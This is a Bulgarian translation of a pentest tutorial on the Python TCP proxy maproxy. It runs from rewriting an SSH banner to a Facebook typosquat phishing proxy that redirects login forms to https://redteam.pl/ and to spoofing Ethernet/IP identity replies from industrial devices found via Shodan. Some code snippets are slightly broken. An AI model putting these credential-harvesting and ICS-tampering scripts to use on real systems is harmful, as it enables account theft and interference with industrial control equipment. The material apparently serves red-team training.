ΠžΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ° Π½Π° ΠΌΡ€Π΅ΠΆΠΎΠ²ΠΈ Π΄Π°Π½Π½ΠΈ Π² Ρ€Π΅Π°Π»Π½ΠΎ Π²Ρ€Π΅ΠΌΠ΅

ΠŸΡ€Π΅Π²ΠΎΠ΄ΡŠΡ‚ Π½Π° статията Π΅ ΠΏΠΎΠ΄Π³ΠΎΡ‚Π²Π΅Π½ Π² ΠΎΡ‡Π°ΠΊΠ²Π°Π½Π΅ Π½Π° старта Π½Π° курса β€žΠŸΠ΅Π½Ρ‚Π΅ΡΡ‚. ΠŸΡ€Π°ΠΊΡ‚ΠΈΠΊΠ° Π½Π° тСстиранС Π·Π° ΠΏΡ€ΠΎΠ½ΠΈΠΊΠ²Π°Π½Π΅β€œ.

ΠžΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ° Π½Π° ΠΌΡ€Π΅ΠΆΠΎΠ²ΠΈ Π΄Π°Π½Π½ΠΈ Π² Ρ€Π΅Π°Π»Π½ΠΎ Π²Ρ€Π΅ΠΌΠ΅

Анотация

Π Π°Π·Π½ΠΎΠΎΠ±Ρ€Π°Π·Π½ΠΈΡ‚Π΅ Π²ΠΈΠ΄ΠΎΠ²Π΅ ΠΎΡ†Π΅Π½ΠΊΠ° Π½Π° сигурността, ΠΎΡ‚ Ρ€Π΅Π΄ΠΎΠ²Π½ΠΈ тСстовС Π·Π° ΠΏΡ€ΠΎΠ½ΠΈΠΊΠ²Π°Π½Π΅ ΠΈ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ Π½Π° Red Team Π΄ΠΎ хакСрски Π°Ρ‚Π°ΠΊΠΈ Π½Π° IoT/ICS устройства ΠΈ SCADA, Π²ΠΊΠ»ΡŽΡ‡Π²Π°Ρ‚ Ρ€Π°Π±ΠΎΡ‚Π° с Π±ΠΈΠ½Π°Ρ€Π½ΠΈ ΠΌΡ€Π΅ΠΆΠΎΠ²ΠΈ ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»ΠΈ, Ρ‚.Π΅. ΠΏΠΎ ΡΡŠΡ‰Π΅ΡΡ‚Π²ΠΎ Ρ…Π²Π°Ρ‰Π°Π½Π΅ ΠΈ модификация Π½Π° ΠΌΡ€Π΅ΠΆΠΎΠ²ΠΈΡ‚Π΅ Π΄Π°Π½Π½ΠΈ ΠΌΠ΅ΠΆΠ΄Ρƒ ΠΊΠ»ΠΈΠ΅Π½Ρ‚Π° ΠΈ Ρ†Π΅Π»Ρ‚Π°. Π‘Π½ΠΈΡ„Ρ„ΠΈΠ½Π³ΡŠΡ‚ Π½Π° мрСТовия Ρ‚Ρ€Π°Ρ„ΠΈΠΊ Π½Π΅ Π΅ слоТна Π·Π°Π΄Π°Ρ‡Π°, Ρ‚ΡŠΠΉ ΠΊΠ°Ρ‚ΠΎ ΠΈΠΌΠ°ΠΌΠ΅ инструмСнти ΠΊΠ°Ρ‚ΠΎ Wireshark, Tcpdump ΠΈΠ»ΠΈ Scapy, Π½ΠΎ модификацията сС явява ΠΏΠΎ-Ρ‚Ρ€ΡƒΠ΄ΠΎΠ΅ΠΌΠΊΠ° Π·Π°Π΄Π°Ρ‡Π°, Ρ‚ΡŠΠΉ ΠΊΠ°Ρ‚ΠΎ Π½ΠΈ трябва спСциалСн интСрфСйс Π·Π° Ρ‡Π΅Ρ‚Π΅Π½Π΅ Π½Π° Π΄Π°Π½Π½ΠΈΡ‚Π΅ ΠΎΡ‚ ΠΌΡ€Π΅ΠΆΠ°Ρ‚Π°, тяхното Ρ„ΠΈΠ»Ρ‚Ρ€ΠΈΡ€Π°Π½Π΅, ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ Π½Π° Π»Π΅Ρ‚ΠΎ ΠΈ ΠΈΠ·ΠΏΡ€Π°Ρ‰Π°Π½Π΅ ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎ Π½Π° цСлСвия хост ΠΏΠΎΡ‡Ρ‚ΠΈ Π² Ρ€Π΅Π°Π»Π½ΠΎ Π²Ρ€Π΅ΠΌΠ΅. ОсвСн Ρ‚ΠΎΠ²Π°, Π±ΠΈ Π±ΠΈΠ»ΠΎ ΠΈΠ΄Π΅Π°Π»Π½ΠΎ, Π°ΠΊΠΎ Ρ‚Π°ΠΊΡŠΠ² инструмСнт Π°Π²Ρ‚ΠΎΠΌΠ°Ρ‚ΠΈΡ‡Π½ΠΎ ΠΌΠΎΠΆΠ΅ Π΄Π° Ρ€Π°Π±ΠΎΡ‚ΠΈ с няколко ΠΏΠ°Ρ€Π°Π»Π΅Π»Π½ΠΈ Π²Ρ€ΡŠΠ·ΠΊΠΈ ΠΈ Π΄Π° ΠΈΠΌΠ° Π²ΡŠΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ Π·Π° пСрсонализация с ΠΏΠΎΠΌΠΎΡ‰Ρ‚Π° Π½Π° скриптовС.

Π•Π΄ΠΈΠ½ Π΄Π΅Π½ ΠΎΡ‚ΠΊΡ€ΠΈΡ… инструмСнт, ΠΊΠΎΠΉΡ‚ΠΎ сС Π½Π°Ρ€ΠΈΡ‡Π° мапрокси, докумСнтацията ΠΌΠΈ Π΄Π°Π΄Π΅ Π±ΡŠΡ€Π·ΠΎ Π΄Π° Ρ€Π°Π·Π±Π΅Ρ€Π°, Ρ‡Π΅ мапрокси – Ρ‚ΠΎΡ‡Π½ΠΎ Ρ‚ΠΎΠ²Π°, ΠΎΡ‚ ΠΊΠΎΠ΅Ρ‚ΠΎ ΠΈΠΌΠ°Ρ… Π½ΡƒΠΆΠ΄Π°. Π’ΠΎΠ²Π° Π΅ доста прост, унивСрсалСн ΠΈ лСсно ΠΊΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€ΠΈΡ€ΡƒΠ΅ΠΌ TCP прокси. ВСствах Ρ‚ΠΎΠ·ΠΈ инструмСнт с няколко доста слоТни прилоТСния, Π²ΠΊΠ»ΡŽΡ‡ΠΈΡ‚Π΅Π»Π½ΠΎ ICS устройства (ΠΊΠΎΠΈΡ‚ΠΎ Π³Π΅Π½Π΅Ρ€ΠΈΡ€Π°Ρ‚ ΠΌΠ½ΠΎΠ³ΠΎ ΠΏΠ°ΠΊΠ΅Ρ‚ΠΈ), Π·Π° Π΄Π° видя Π΄Π°Π»ΠΈ ΠΌΠΎΠΆΠ΅ Π΄Π° Ρ€Π°Π±ΠΎΡ‚ΠΈ с ΠΌΠ½ΠΎΠ³ΠΎ ΠΏΠ°Ρ€Π°Π»Π΅Π»Π½ΠΈ Π²Ρ€ΡŠΠ·ΠΊΠΈ, ΠΈ ΠΈΠ½ΡΡ‚Ρ€ΡƒΠΌΠ΅Π½Ρ‚ΡŠΡ‚ сС справи ΠΌΠ½ΠΎΠ³ΠΎ Π΄ΠΎΠ±Ρ€Π΅.

Π’Π°Π·ΠΈ статия Ρ‰Π΅ Π²ΠΈ Π·Π°ΠΏΠΎΠ·Π½Π°Π΅ с ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ°Ρ‚Π° Π½Π° ΠΌΡ€Π΅ΠΆΠΎΠ²ΠΈ Π΄Π°Π½Π½ΠΈ Π½Π° Π»Π΅Ρ‚ΠΎ с ΠΏΠΎΠΌΠΎΡ‰Ρ‚Π° Π½Π° мапрокси.

ΠŸΡ€Π΅Π³Π»Π΅Π΄

Π˜Π½ΡΡ‚Ρ€ΡƒΠΌΠ΅Π½Ρ‚ мапрокси основава сС Π½Π° Tornado – популярСн ΠΈ Ρ€Π°Π·Π²ΠΈΡ‚ асинхронСн ΠΌΡ€Π΅ΠΆΠΎΠ² Ρ„Ρ€Π΅ΠΉΠΌΠ²ΠΎΡ€ΠΊ Π½Π° Python.

ΠšΠ°Ρ‚ΠΎ цяло, Ρ‚ΠΎΠΉ ΠΌΠΎΠΆΠ΅ Π΄Π° Ρ€Π°Π±ΠΎΡ‚ΠΈ Π² няколко Ρ€Π΅ΠΆΠΈΠΌΠ°:

  • TCP:TCP – Π½Π΅ΡˆΠΈΡ„Ρ€ΠΎΠ²Π°Π½ΠΈ TCP Π²Ρ€ΡŠΠ·ΠΊΠΈ;
  • TCP:SSL ΠΈ SSL:TCP – с Сднопосочно ΠΊΡ€ΠΈΠΏΡ‚ΠΈΡ€Π°Π½Π΅;
  • SSL:SSL – двупосочно ΠΊΡ€ΠΈΠΏΡ‚ΠΈΡ€Π°Π½Π΅.

Π’ΠΎΠΉ сС прСдоставя ΠΏΠΎΠ΄ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π° Π½Π° Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠ°. Π—Π° Π±ΡŠΡ€Π·ΠΎ стартиранС ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π΄Π° ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Ρ‚Π΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π½ΠΈΡ‚Π΅ Ρ„Π°ΠΉΠ»ΠΎΠ²Π΅, ΠΊΠΎΠΈΡ‚ΠΎ отразяват основнитС Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Π½Π° Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠ°Ρ‚Π°:

  • all.py
  • certificate.pem
  • logging_proxy.py
  • privatekey.pem
  • ssl2ssl.py
  • ssl2tcp.py
  • tcp2ssl.py
  • tcp2tcp.py

КСйс 1 – прост двупосочСн прокси

Основавайки сС на tcp2tcp.py:

#!/usr/bin/env python

import tornado.ioloop
import maproxy.proxyserver

server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()

По ΠΏΠΎΠ΄Ρ€Π°Π·Π±ΠΈΡ€Π°Π½Π΅ ProxyServer() ΠΏΡ€ΠΈΠ΅ΠΌΠ° Π΄Π²Π° Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π° – място Π½Π° ΡΠ²ΡŠΡ€Π·Π²Π°Π½Π΅ ΠΈ Ρ†Π΅Π»Π΅Π²ΠΈ ΠΏΠΎΡ€Ρ‚. server.listen() ΠΏΡ€ΠΈΠ΅ΠΌΠ° Π΅Π΄ΠΈΠ½ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ – ΠΏΠΎΡ€Ρ‚ Π·Π° ΡΠ»ΡƒΡˆΠ°Π½Π΅ Π½Π° входяща Π²Ρ€ΡŠΠ·ΠΊΠ°.

ИзпълнСниС Π½Π° скрипта:

# python tcp2tcp.py

Π—Π° Π΄Π° ΠΏΡ€ΠΎΠ²Π΅Π΄Π΅ΠΌ тСста, Ρ‰Π΅ сС ΡΠ²ΡŠΡ€ΠΆΠ΅ΠΌ с Π»ΠΎΠΊΠ°Π»Π΅Π½ SSH ΡΡŠΡ€Π²ΡŠΡ€ Ρ‡Ρ€Π΅Π· нашия прокси скрипт, ΠΊΠΎΠΉΡ‚ΠΎ ΡΠ»ΡƒΡˆΠ° Π½Π° 2222/tcp ΠΏΠΎΡ€Ρ‚ ΠΈ сС ΡΠ²ΡŠΡ€Π·Π²Π° към стандартСн ΠΏΠΎΡ€Ρ‚ 22/tcp SSH ΡΡŠΡ€Π²ΡŠΡ€ΠΈ:

ΠžΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ° Π½Π° ΠΌΡ€Π΅ΠΆΠΎΠ²ΠΈ Π΄Π°Π½Π½ΠΈ Π² Ρ€Π΅Π°Π»Π½ΠΎ Π²Ρ€Π΅ΠΌΠ΅

ΠŸΡ€ΠΈΠ²Π΅Ρ‚ΡΡ‚Π²Π΅Π½ΠΈΡΡ‚ Π±Π°Π½Π΅Ρ€ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠΈΡ€Π°, Ρ‡Π΅ Π½Π°ΡˆΠΈΡΡ‚ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅Π½ скрипт ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎ Π΅ проксирал мрСТовия Ρ‚Ρ€Π°Ρ„ΠΈΠΊ.

Π‘Π»ΡƒΡ‡Π°ΠΉ 2 – модификация Π½Π° Π΄Π°Π½Π½ΠΈ

Π”Ρ€ΡƒΠ³ дСмонстрационСн скрипт logging_proxy.py ΠΏΠ΅Ρ€Ρ„Π΅ΠΊΡ‚Π½ΠΎ ΠΏΠΎΠ΄Ρ…ΠΎΠΆΠ΄Π° Π·Π° взаимодСйствиС с ΠΌΡ€Π΅ΠΆΠΎΠ²ΠΈΡ‚Π΅ Π΄Π°Π½Π½ΠΈ. ΠšΠΎΠΌΠ΅Π½Ρ‚Π°Ρ€ΠΈΡ‚Π΅ Π² Ρ„Π°ΠΉΠ»Π° описват ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΈΡ‚Π΅ Π½Π° класа, ΠΊΠΎΠΈΡ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π΄Π° ΠΌΠΎΠ΄ΠΈΡ„ΠΈΡ†ΠΈΡ€Π°Ρ‚Π΅, Π·Π° Π΄Π° постигнСтС Ρ†Π΅Π»Ρ‚Π° си:

ΠžΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ° Π½Π° ΠΌΡ€Π΅ΠΆΠΎΠ²ΠΈ Π΄Π°Π½Π½ΠΈ Π² Ρ€Π΅Π°Π»Π½ΠΎ Π²Ρ€Π΅ΠΌΠ΅

Най-ΠΈΠ½Ρ‚Ρ€ΠΈΠ³ΡƒΠ²Π°Ρ‰ΠΎΡ‚ΠΎ Ρ‚ΡƒΠΊ Π΅:

  • on_c2p_done_read – Π·Π° ΠΏΡ€ΠΈΡ…Π²Π°Ρ‰Π°Π½Π΅ Π½Π° Π΄Π°Π½Π½ΠΈ ΠΏΠΎ ΠΏΡŠΡ‚Ρ ΠΎΡ‚ ΠΊΠ»ΠΈΠ΅Π½Ρ‚Π° към ΡΡŠΡ€Π²ΡŠΡ€Π°;
  • on_p2s_done_read – Π² ΠΎΠ±Ρ€Π°Ρ‚Π½Π°Ρ‚Π° посока.

НСка ΠΎΠΏΠΈΡ‚Π°ΠΌΠ΅ Π΄Π° ΠΏΡ€ΠΎΠΌΠ΅Π½ΠΈΠΌ SSH Π±Π°Π½Π΅Ρ€Π°, ΠΊΠΎΠΉΡ‚ΠΎ ΡΡŠΡ€Π²ΡŠΡ€ΡŠΡ‚ Π²Ρ€ΡŠΡ‰Π° Π½Π° ΠΊΠ»ΠΈΠ΅Π½Ρ‚Π°:

[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]

Π˜Π·ΠΏΡŠΠ»Π½Π΅Ρ‚Π΅ скрипта:

ΠžΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ° Π½Π° ΠΌΡ€Π΅ΠΆΠΎΠ²ΠΈ Π΄Π°Π½Π½ΠΈ Π² Ρ€Π΅Π°Π»Π½ΠΎ Π²Ρ€Π΅ΠΌΠ΅

ΠšΠ°ΠΊΡ‚ΠΎ Π²ΠΈΠΆΠ΄Π°Ρ‚Π΅, ΠΊΠ»ΠΈΠ΅Π½Ρ‚ΡŠΡ‚ бСшС Π·Π°Π±Π»ΡƒΠ΄Π΅Π½, Ρ‚ΡŠΠΉ ΠΊΠ°Ρ‚ΠΎ ΠΈΠΌΠ΅Ρ‚ΠΎ Π½Π° SSH ΡΡŠΡ€Π²ΡŠΡ€Π° бСшС Π·Π°ΠΌΠ΅Π½Π΅Π½ΠΎ с Β«DumnySSHΒ».

ΠžΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ° Π½Π° ΠΌΡ€Π΅ΠΆΠΎΠ²ΠΈ Π΄Π°Π½Π½ΠΈ Π² Ρ€Π΅Π°Π»Π½ΠΎ Π²Ρ€Π΅ΠΌΠ΅

Π‘Π»ΡƒΡ‡Π°ΠΉ 3 – проста Ρ„ΠΈΡˆΠΈΠ½Π³ ΡƒΠ΅Π± страница

Π‘ΡŠΡ‰Π΅ΡΡ‚Π²ΡƒΠ²Π°Ρ‚ Π±Π΅Π·ΠΊΡ€Π°ΠΉΠ½ΠΈ Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ΠΈ Π·Π° ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Π½Π΅Ρ‚ΠΎ Π½Π° Ρ‚ΠΎΠ·ΠΈ инструмСнт. Π’ΠΎΠ·ΠΈ ΠΏΡŠΡ‚ Π½Π΅ΠΊΠ° сС ΠΊΠΎΠ½Ρ†Π΅Π½Ρ‚Ρ€ΠΈΡ€Π°ΠΌΠ΅ Π²ΡŠΡ€Ρ…Ρƒ Π½Π΅Ρ‰ΠΎ ΠΏΠΎ-ΠΏΡ€Π°ΠΊΡ‚ΠΈΡ‡Π½ΠΎ ΠΎΡ‚ сфСрата Π½Π° ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈΡ‚Π΅ Π½Π° Red Team. НСка ΠΈΠΌΠΈΡ‚ΠΈΡ€Π°ΠΌΠ΅ Π»ΠΈΠ½ΠΊΠ° m.facebook.com ΠΈ Π΄Π° ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°ΠΌΠ΅ пСрсонализиран Π΄ΠΎΠΌΠ΅ΠΉΠ½ с ΡƒΠΌΠΈΡˆΠ»Π΅Π½Π° типографска Π³Ρ€Π΅ΡˆΠΊΠ°, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, m.facebok.com. Π—Π° дСмонстрация просто Π΄Π° ΠΏΡ€Π΅Π΄ΠΏΠΎΠ»ΠΎΠΆΠΈΠΌ, Ρ‡Π΅ Π΄ΠΎΠΌΠ΅ΠΉΠ½ΡŠΡ‚ Π΅ рСгистриран ΠΎΡ‚ нас.

Π©Π΅ установим Π½Π΅Π·Π°ΡˆΠΈΡ„Ρ€ΠΎΠ²Π°Π½Π° ΠΌΡ€Π΅ΠΆΠΎΠ²Π° Π²Ρ€ΡŠΠ·ΠΊΠ° с нашия прокси Π½Π° ΠΆΠ΅Ρ€Ρ‚Π²Π° ΠΈ SSL Stream Π·Π° ΡΡŠΡ€Π²ΡŠΡ€Π° Π½Π° Facebook (31.13.81.36). Π—Π° Π΄Π° сработи Ρ‚ΠΎΠ·ΠΈ ΠΏΡ€ΠΈΠΌΠ΅Ρ€, трябва Π΄Π° Π·Π°ΠΌΠ΅Π½ΠΈΠΌ HTTP Π·Π°Π³Π»Π°Π²ΠΊΠ°Ρ‚Π° Π½Π° хоста ΠΈ Π΄Π° Π²Π½Π΅Π΄Ρ€ΠΈΠΌ ΠΏΡ€Π°Π²ΠΈΠ»Π½ΠΎΡ‚ΠΎ ΠΈΠΌΠ΅ Π½Π° хоста, Π° ΡΡŠΡ‰ΠΎ Ρ‚Π°ΠΊΠ° Π΄Π° ΠΈΠ·ΠΊΠ»ΡŽΡ‡ΠΈΠΌ компрСсията Π½Π° ΠΎΡ‚Π³ΠΎΠ²ΠΎΡ€ΠΈΡ‚Π΅, Π·Π° Π΄Π° ΠΏΠΎΠ»ΡƒΡ‡ΠΈΠΌ лСсСн Π΄ΠΎΡΡ‚ΡŠΠΏ Π΄ΠΎ тяхното ΡΡŠΠ΄ΡŠΡ€ΠΆΠ°Π½ΠΈΠ΅. Π’ ΠΊΡ€Π°ΠΉΠ½Π° смСтка Ρ‰Π΅ Π·Π°ΠΌΠ΅Π½ΠΈΠΌ HTML Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π°, Π·Π° Π΄Π° сС ΠΈΠ·ΠΏΡ€Π°Ρ‰Π°Ρ‚ Π²Ρ…ΠΎΠ΄Π½ΠΈΡ‚Π΅ Π΄Π°Π½Π½ΠΈ Π½Π° нас, вмСсто Π½Π° ΡΡŠΡ€Π²ΡŠΡ€ΠΈΡ‚Π΅ Π½Π° Facebook:

[…]
def on_c2p_done_read(self,data):
 # замяна Π½Π° Π·Π°Π³Π»Π°Π²ΠΊΠ°Ρ‚Π° Π½Π° хоста
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# Π΄Π΅Π°ΠΊΡ‚ΠΈΠ²ΠΈΡ€Π°Π½Π΅ Π½Π° компрСсията
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
 def on_p2s_done_read(self,data):
 # частична замяна Π½Π° ΠΎΡ‚Π³ΠΎΠ²ΠΎΡ€Π°
     data = data.replace("action="/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]

Π Π΅Π·ΡƒΠ»Ρ‚Π°Ρ‚:

ΠžΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ° Π½Π° ΠΌΡ€Π΅ΠΆΠΎΠ²ΠΈ Π΄Π°Π½Π½ΠΈ Π² Ρ€Π΅Π°Π»Π½ΠΎ Π²Ρ€Π΅ΠΌΠ΅

ΠšΠ°ΠΊΡ‚ΠΎ Π²ΠΈΠΆΠ΄Π°Ρ‚Π΅, успяхмС ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎ Π΄Π° Π·Π°ΠΌΠ΅Π½ΠΈΠΌ оригиналния сайт.

Π‘Π»ΡƒΡ‡Π°ΠΉ 4 – ΠŸΠΎΡ€Ρ‚ΠΈΠΌ Ethernet/IP

Аз ΠΏΠΎΡ‡Ρ‚ΠΈ дълго Π²Ρ€Π΅ΠΌΠ΅ работя с индустриални устройства ΠΈ софтуСр (ICS / SCADA), ΠΊΠ°Ρ‚ΠΎ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΈΡ€ΡƒΠ΅ΠΌΠΈ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»Π΅Ρ€ΠΈ (PLC), Π²Ρ…ΠΎΠ΄Π½ΠΎ-ΠΈΠ·Ρ…ΠΎΠ΄Π½ΠΈ ΠΌΠΎΠ΄ΡƒΠ»ΠΈ, задвиТвания, Ρ€Π΅Π»Π΅, ΡΡ‚ΡŠΠΏΠ°Π»ΠΎΠ²ΠΈΠ΄Π½ΠΈ срСда Π½Π° ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΈΡ€Π°Π½Π΅ ΠΈ ΠΌΠ½ΠΎΠ³ΠΎ Π΄Ρ€ΡƒΠ³ΠΈ. Π’ΠΎΠ·ΠΈ случай Π΅ Π·Π° Ρ‚Π΅Π·ΠΈ, ΠΊΠΎΠΈΡ‚ΠΎ ΠΎΠ±ΠΈΡ‡Π°Ρ‚ индустриални Π½Π΅Ρ‰Π°. ЗаобикалянСто Π½Π° Ρ‚Π°ΠΊΠΈΠ²Π° Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ ΠΏΡ€Π΅Π΄ΠΏΠΎΠ»Π°Π³Π° Π°ΠΊΡ‚ΠΈΠ²Π½Π° Ρ€Π°Π±ΠΎΡ‚Π° с ΠΌΡ€Π΅ΠΆΠΎΠ²ΠΈ ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»ΠΈ. Π’ слСдващия ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π±ΠΈΡ… искал Π΄Π° ΠΏΠΎΠΊΠ°ΠΆΠ° ΠΊΠ°ΠΊ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π΄Π° ΠΌΠΎΠ΄ΠΈΡ„ΠΈΡ†ΠΈΡ€Π°Ρ‚Π΅ мрСТовия Ρ‚Ρ€Π°Ρ„ΠΈΠΊ ICS/SCADA.

Π—Π° Ρ‚ΠΎΠ²Π° Ρ‰Π΅ Π²ΠΈ Π΅ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ слСдното:

  • ΠœΡ€Π΅ΠΆΠΎΠ² сниффСр, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Wireshark;
  • Ethernet/IP ΠΈΠ»ΠΈ просто SIP-устройство, ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π΄Π° Π³ΠΎ Π½Π°ΠΌΠ΅Ρ€ΠΈΡ‚Π΅ Ρ‡Ρ€Π΅Π· услугата Shodan;
  • ΠΠ°ΡˆΠΈΡΡ‚ скрипт Π΅ Π±Π°Π·ΠΈΡ€Π°Π½ Π½Π° мапрокси.

Π—Π° Π½Π°Ρ‡Π°Π»ΠΎ, Π½Π΅ΠΊΠ° Π΄Π° Π²ΠΈΠ΄ΠΈΠΌ ΠΊΠ°ΠΊ ΠΈΠ·Π³Π»Π΅ΠΆΠ΄Π° типичният ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΎΠ½Π΅Π½ ΠΎΡ‚Π³ΠΎΠ²ΠΎΡ€ ΠΎΡ‚ CIP (Common Industrial Protocol):

ΠžΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ° Π½Π° ΠΌΡ€Π΅ΠΆΠΎΠ²ΠΈ Π΄Π°Π½Π½ΠΈ Π² Ρ€Π΅Π°Π»Π½ΠΎ Π²Ρ€Π΅ΠΌΠ΅

Π˜Π΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΡΡ‚Π° Π½Π° устройството сС ΠΈΠ·Π²ΡŠΡ€ΡˆΠ²Π° с ΠΏΠΎΠΌΠΎΡ‰Ρ‚Π° Π½Π° ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»Π° Ethernet/IP, ΠΊΠΎΠΉΡ‚ΠΎ Π΅ Ρ€Π°Π·ΡˆΠΈΡ€Π΅Π½Π° вСрсия Π½Π° Ethernet ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»Π° Π·Π° индустриални Ρ†Π΅Π»ΠΈ, ΠΎΠ±Π³Ρ€ΡŠΡ‰Π°Ρ‰ ΡƒΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ ΠΊΠ°Ρ‚ΠΎ CIP. Π©Π΅ ΠΏΡ€ΠΎΠΌΠ΅Π½ΠΈΠΌ Π·Π°Π΄Π°Π΄Π΅Π½ΠΎΡ‚ΠΎ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΎΠ½Π½ΠΎ ΠΈΠΌΠ΅, Π²ΠΈΠ΄ΠΈΠΌΠΎ Π½Π° ΡΠΊΡ€ΠΈΠΉΠ½ΡˆΠΎΡ‚Π° Β«NI-IndComm for EthernetΒ» с ΠΏΠΎΠΌΠΎΡ‰Ρ‚Π° Π½Π° нашия прокси-скрипт. ΠœΠΎΠΆΠ΅Ρ…ΠΌΠ΅ Π΄Π° ΠΏΡ€Π΅ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°ΠΌΠ΅ скрипта logging_proxy.py ΠΈ Π°Π½Π°Π»ΠΎΠ³ΠΈΡ‡Π½ΠΎ Π΄Π° ΠΌΠΎΠ΄ΠΈΡ„ΠΈΡ†ΠΈΡ€Π°ΠΌΠ΅ ΠΌΠ΅Ρ‚ΠΎΠ΄Π° Π½Π° класа on_p2s_done_read, Ρ‚ΡŠΠΉ ΠΊΠ°Ρ‚ΠΎ искамС Π½Π° ΠΊΠ»ΠΈΠ΅Π½Ρ‚Π° Π΄Π° сС Π²ΠΈΠΆΠ΄Π° Π΄Ρ€ΡƒΠ³ΠΎ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΎΠ½Π½ΠΎ ΠΈΠΌΠ΅.

Код:

[…]
 def on_p2s_done_read(self,data):
 # частична замяна Π½Π° ΠΎΡ‚Π³ΠΎΠ²ΠΎΡ€Π°

 # ΠŸΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ° Π΄Π°Π»ΠΈ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ…ΠΌΠ΅ ΠΎΡ‚Π³ΠΎΠ²ΠΎΡ€ ΠΎΡ‚ List Identity ΡΡŠΠΎΠ±Ρ‰Π΅Π½ΠΈΠ΅
     if data[26:28] == b'x0cx00':
         print('ΠŸΠΎΠ»ΡƒΡ‡Π΅Π½ ΠΎΡ‚Π³ΠΎΠ²ΠΎΡ€, замСстванС')
         data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
     super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]

По ΡΡŠΡ‰Π΅ΡΡ‚Π²ΠΎ, поискахмС идСнтификацията Π½Π° устройството Π΄Π²Π° ΠΏΡŠΡ‚ΠΈ, вторият ΠΎΡ‚Π³ΠΎΠ²ΠΎΡ€ Π΅ ΠΎΡ€ΠΈΠ³ΠΈΠ½Π°Π»Π΅Π½, Π° ΠΏΡŠΡ€Π²ΠΈΡΡ‚ Π΅ ΠΌΠΎΠ΄ΠΈΡ„ΠΈΡ†ΠΈΡ€Π°Π½.

И накрая

